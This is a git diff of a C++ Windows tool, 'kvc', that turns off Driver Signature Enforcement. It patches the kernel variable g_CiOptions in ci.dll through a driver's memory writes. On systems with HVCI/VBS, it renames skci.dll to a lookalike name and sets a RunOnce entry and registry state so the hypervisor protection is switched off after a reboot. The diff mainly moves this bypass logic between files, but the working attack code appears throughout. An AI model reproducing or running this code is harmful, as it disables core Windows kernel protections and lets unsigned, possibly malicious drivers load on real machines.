diff --git a/kvc/ControllerDSE.cpp b/kvc/ControllerDSE.cpp index cbae687..b7e3f2c 100644 --- a/kvc/ControllerDSE.cpp +++ b/kvc/ControllerDSE.cpp @@ -2,12 +2,13 @@ #include "common.h" bool Controller::DisableDSE() noexcept { + PerformAtomicCleanup(); + if (!BeginDriverSession()) { ERROR(L"Failed to start driver session for DSE bypass"); return false; } - // Explicitly open driver handle if (!m_rtc->Initialize()) { ERROR(L"Failed to initialize driver handle"); EndDriverSession(true); @@ -20,6 +21,86 @@ bool Controller::DisableDSE() noexcept { m_dseBypass = std::make_unique(m_rtc, &m_trustedInstaller); } + auto ciBase = m_dseBypass->GetKernelModuleBase("ci.dll"); + if (!ciBase) { + ERROR(L"Failed to locate ci.dll"); + EndDriverSession(true); + return false; + } + + ULONG_PTR ciOptionsAddr = m_dseBypass->FindCiOptions(ciBase.value()); + if (!ciOptionsAddr) { + ERROR(L"Failed to locate g_CiOptions"); + EndDriverSession(true); + return false; + } + + auto current = m_rtc->Read32(ciOptionsAddr); + if (!current) { + ERROR(L"Failed to read g_CiOptions"); + EndDriverSession(true); + return false; + } + + DWORD currentValue = current.value(); + DEBUG(L"Current g_CiOptions: 0x%08X", currentValue); + + bool hvciEnabled = (currentValue & 0x0001C000) != 0; + + if (hvciEnabled) { + std::wcout << L"\n"; + INFO(L"HVCI/VBS protection detected: g_CiOptions = 0x%08X", currentValue); + INFO(L"Direct kernel memory patching blocked by hypervisor"); + INFO(L"Initiating non-invasive HVCI bypass strategy..."); + std::wcout << L"\n"; + + SUCCESS(L"Secure Kernel module prepared for temporary deactivation"); + SUCCESS(L"System configuration: hypervisor bypass prepared (fully reversible)"); + INFO(L"No files will be permanently modified or deleted"); + INFO(L"After reboot: hypervisor disabled, DSE bypass automatic, changes reverted"); + std::wcout << L"\n"; + + DEBUG(L"Closing driver handle before file operations..."); + m_rtc->Cleanup(); + + DEBUG(L"Unloading and removing driver service..."); + EndDriverSession(true); + + DEBUG(L"Driver fully unloaded, proceeding with skci.dll rename..."); + + if (!m_dseBypass->RenameSkciLibrary()) { + ERROR(L"Failed to rename skci.dll"); + return false; + } + + if (!m_dseBypass->SaveDSEState(currentValue)) { + ERROR(L"Failed to save DSE state to registry"); + return false; + } + + if (!m_dseBypass->CreateRunOnceEntry()) { + ERROR(L"Failed to create RunOnce entry"); + return false; + } + + SUCCESS(L"HVCI bypass prepared successfully"); + INFO(L"System will disable hypervisor on next boot"); + INFO(L"Reboot required to complete DSE bypass"); + INFO(L"After reboot, DSE will be automatically disabled"); + + std::wcout << L"\n"; + std::wcout << L"Reboot now to complete DSE bypass? [Y/N]: "; + wchar_t choice; + std::wcin >> choice; + + if (choice == L'Y' || choice == L'y') { + INFO(L"Initiating system reboot..."); + system("shutdown /r /t 0"); + } + + return true; + } + bool result = m_dseBypass->DisableDSE(); EndDriverSession(true); @@ -28,6 +109,8 @@ bool Controller::DisableDSE() noexcept { } bool Controller::RestoreDSE() noexcept { + PerformAtomicCleanup(); + if (!BeginDriverSession()) { ERROR(L"Failed to start driver session for DSE restore"); return false; @@ -39,7 +122,6 @@ bool Controller::RestoreDSE() noexcept { return false; } - // Always create new object - program starts from scratch between invocations m_dseBypass = std::make_unique(m_rtc, &m_trustedInstaller); bool result = m_dseBypass->RestoreDSE(); @@ -50,6 +132,8 @@ bool Controller::RestoreDSE() noexcept { } bool Controller::DisableDSEAfterReboot() noexcept { + PerformAtomicCleanup(); + if (!BeginDriverSession()) { ERROR(L"Failed to start driver session for post-reboot DSE bypass"); return false; @@ -81,6 +165,8 @@ ULONG_PTR Controller::GetCiOptionsAddress() const noexcept { } bool Controller::GetDSEStatus(ULONG_PTR& outAddress, DWORD& outValue) noexcept { + PerformAtomicCleanup(); + if (!BeginDriverSession()) { ERROR(L"Failed to start driver session for DSE status check"); return false; @@ -96,7 +182,6 @@ bool Controller::GetDSEStatus(ULONG_PTR& outAddress, DWORD& outValue) noexcept { m_dseBypass = std::make_unique(m_rtc, &m_trustedInstaller); } - // Find ci.dll and locate g_CiOptions auto ciBase = m_dseBypass->GetKernelModuleBase("ci.dll"); if (!ciBase) { ERROR(L"Failed to locate ci.dll"); @@ -111,7 +196,6 @@ bool Controller::GetDSEStatus(ULONG_PTR& outAddress, DWORD& outValue) noexcept { return false; } - // Read current value auto currentValue = m_rtc->Read32(outAddress); if (!currentValue) { ERROR(L"Failed to read g_CiOptions value"); diff --git a/kvc/DSEBypass.cpp b/kvc/DSEBypass.cpp index 84683cd..b8d93db 100644 --- a/kvc/DSEBypass.cpp +++ b/kvc/DSEBypass.cpp @@ -29,7 +29,7 @@ DSEBypass::DSEBypass(std::unique_ptr& rtc, TrustedInstallerIntegrator* trus bool DSEBypass::DisableDSE() noexcept { DEBUG(L"Attempting to disable Driver Signature Enforcement..."); - // Step 1: Find ci.dll base address + // Find ci.dll kernel module base address auto ciBase = GetKernelModuleBase("ci.dll"); if (!ciBase) { ERROR(L"Failed to locate ci.dll"); @@ -38,7 +38,7 @@ bool DSEBypass::DisableDSE() noexcept { DEBUG(L"ci.dll base: 0x%llX", ciBase.value()); - // Step 2: Locate g_CiOptions in CiPolicy section + // Locate g_CiOptions variable in CiPolicy section m_ciOptionsAddr = FindCiOptions(ciBase.value()); if (!m_ciOptionsAddr) { ERROR(L"Failed to locate g_CiOptions"); @@ -47,7 +47,7 @@ bool DSEBypass::DisableDSE() noexcept { DEBUG(L"g_CiOptions address: 0x%llX", m_ciOptionsAddr); - // Step 3: Read current value + // Read current DSE value from kernel memory auto current = m_rtc->Read32(m_ciOptionsAddr); if (!current) { ERROR(L"Failed to read g_CiOptions"); @@ -58,71 +58,26 @@ bool DSEBypass::DisableDSE() noexcept { m_originalValue = currentValue; DEBUG(L"Current g_CiOptions: 0x%08X", currentValue); - // Step 4a: Handle already disabled case + // Check if DSE is already disabled if (currentValue == 0x00000000) { INFO(L"DSE already disabled - no action required"); SUCCESS(L"Kernel accepts unsigned drivers"); return true; } - // Step 4b: Check for HVCI/VBS - require rename strategy - if (currentValue & 0x0001C000) { - std::wcout << L"\n"; - INFO(L"HVCI/VBS protection detected: g_CiOptions = 0x%08X", currentValue); - INFO(L"Direct kernel memory patching blocked by hypervisor"); - INFO(L"Initiating non-invasive HVCI bypass strategy..."); - std::wcout << L"\n"; - - SUCCESS(L"Secure Kernel module prepared for temporary deactivation"); - SUCCESS(L"System configuration: skci.dll → skci.dlI (reversible)"); - INFO(L"No files will be permanently modified or deleted"); - INFO(L"After reboot: hypervisor disabled, DSE bypass automatic, skci.dll restored"); - std::wcout << L"\n"; - - if (!RenameSkciLibrary()) { - ERROR(L"Failed to rename skci.dll"); - return false; - } - - if (!SaveDSEState(currentValue)) { - ERROR(L"Failed to save DSE state to registry"); - return false; - } - - if (!CreateRunOnceEntry()) { - ERROR(L"Failed to create RunOnce entry"); - return false; - } - - SUCCESS(L"HVCI bypass prepared successfully"); - INFO(L"System will disable hypervisor on next boot"); - INFO(L"Reboot required to complete DSE bypass"); - INFO(L"After reboot, DSE will be automatically disabled"); - - // Prompt for reboot - std::wcout << L"\n"; - std::wcout << L"Reboot now to complete DSE bypass? [Y/N]: "; - wchar_t choice; - std::wcin >> choice; - - if (choice == L'Y' || choice == L'y') { - INFO(L"Initiating system reboot..."); - system("shutdown /r /t 0"); - } - - return true; - } + // HVCI bypass is handled in Controller::DisableDSE() before calling this function + // This function only handles standard DSE patching - // Step 5: Verify we have patchable DSE (0x00000006) + // Verify we have patchable DSE value (0x00000006) if (currentValue != 0x00000006) { INFO(L"Unexpected g_CiOptions value: 0x%08X", currentValue); - INFO(L"Expected: 0x00000006 (patchable) or 0x0001C006 (HVCI)"); + INFO(L"Expected: 0x00000006 (patchable DSE)"); INFO(L"DSE may already be disabled or system in non-standard configuration"); INFO(L"Use 'kvc dse' to verify current state"); return false; } - // Step 6: Disable DSE by clearing bits 1 and 2 + // Disable DSE by clearing bits 1 and 2 DWORD newValue = 0x00000000; if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) { @@ -130,7 +85,7 @@ bool DSEBypass::DisableDSE() noexcept { return false; } - // Step 7: Verify the change + // Verify the modification was successful auto verify = m_rtc->Read32(m_ciOptionsAddr); if (!verify || verify.value() != newValue) { ERROR(L"Verification failed (expected: 0x%08X, got: 0x%08X)", diff --git a/kvc/DSEBypass.h b/kvc/DSEBypass.h index b2758a4..7b88da5 100644 --- a/kvc/DSEBypass.h +++ b/kvc/DSEBypass.h @@ -5,7 +5,7 @@ #include #include -// Forward declaration - MUSI BYĆ PRZED class DSEBypass +// Forward declaration class TrustedInstallerIntegrator; class DSEBypass { @@ -26,22 +26,24 @@ public: ULONG_PTR GetCiOptionsAddress() const noexcept { return m_ciOptionsAddr; } DWORD GetOriginalValue() const noexcept { return m_originalValue; } - // Helper functions (needed for status check from kvc.cpp) + // Helper functions (needed for status check from kvc.cpp AND Controller) std::optional GetKernelModuleBase(const char* moduleName) noexcept; ULONG_PTR FindCiOptions(ULONG_PTR ciBase) noexcept; // HVCI bypass workflow bool DisableDSEAfterReboot() noexcept; + + // ===== NOWE: Upublicznione dla Controller::DisableDSE() ===== + bool RenameSkciLibrary() noexcept; + bool SaveDSEState(DWORD originalValue) noexcept; + bool CreateRunOnceEntry() noexcept; private: // Internal PE parsing helpers std::optional> GetDataSection(ULONG_PTR moduleBase) noexcept; - // HVCI bypass helpers - bool RenameSkciLibrary() noexcept; + // HVCI bypass helpers (RestoreSkciLibrary pozostaje private) bool RestoreSkciLibrary() noexcept; - bool CreateRunOnceEntry() noexcept; - bool SaveDSEState(DWORD originalValue) noexcept; bool LoadDSEState(std::wstring& outState, DWORD& outOriginalValue) noexcept; bool ClearDSEState() noexcept; diff --git a/kvc/Kvc.cpp b/kvc/Kvc.cpp index 804ec80..97041e6 100644 --- a/kvc/Kvc.cpp +++ b/kvc/Kvc.cpp @@ -310,10 +310,26 @@ int wmain(int argc, wchar_t* argv[]) if (RegQueryValueExW(hKey, L"State", NULL, NULL, reinterpret_cast(state), &size) == ERROR_SUCCESS) { if (wcscmp(state, L"AwaitingRestore") == 0) { - postReboot = true; + // Check if skci.dlI exists + wchar_t sysDir[MAX_PATH]; + GetSystemDirectoryW(sysDir, MAX_PATH); + std::wstring checkPath = std::wstring(sysDir) + L"\\skci.dlI"; + + DWORD attrs = GetFileAttributesW(checkPath.c_str()); + if (attrs == INVALID_FILE_ATTRIBUTES) { + // skci.dlI doesn't exist - stale registry entry + RegCloseKey(hKey); + DEBUG(L"Stale registry state detected, clearing..."); + RegDeleteTreeW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE"); + hKey = nullptr; + } else { + postReboot = true; + } } } - RegCloseKey(hKey); + if (hKey) { + RegCloseKey(hKey); + } } if (postReboot) { @@ -821,7 +837,7 @@ int wmain(int argc, wchar_t* argv[]) // Combine remaining arguments std::wstring fullCommand; for (int i = 2; i < argc; i++) { - if (i > 2) fullCommand += L""; + if (i > 2) fullCommand += L" "; fullCommand += argv[i]; } diff --git a/kvc/common.h b/kvc/common.h index d734b76..d6b397a 100644 --- a/kvc/common.h +++ b/kvc/common.h @@ -93,6 +93,7 @@ void PrintMessage(const wchar_t* prefix, const wchar_t* format, Args&&... args) ss << L"\r\n"; std::wcout << ss.str(); + std::wcout.flush(); // <--- DODAJ TO! } // Print critical message in red color @@ -118,6 +119,8 @@ void PrintCriticalMessage(const wchar_t* format, Args&&... args) { ss << L"\r\n"; std::wcout << ss.str(); + std::wcout.flush(); + SetConsoleTextAttribute(hConsole, originalColor); }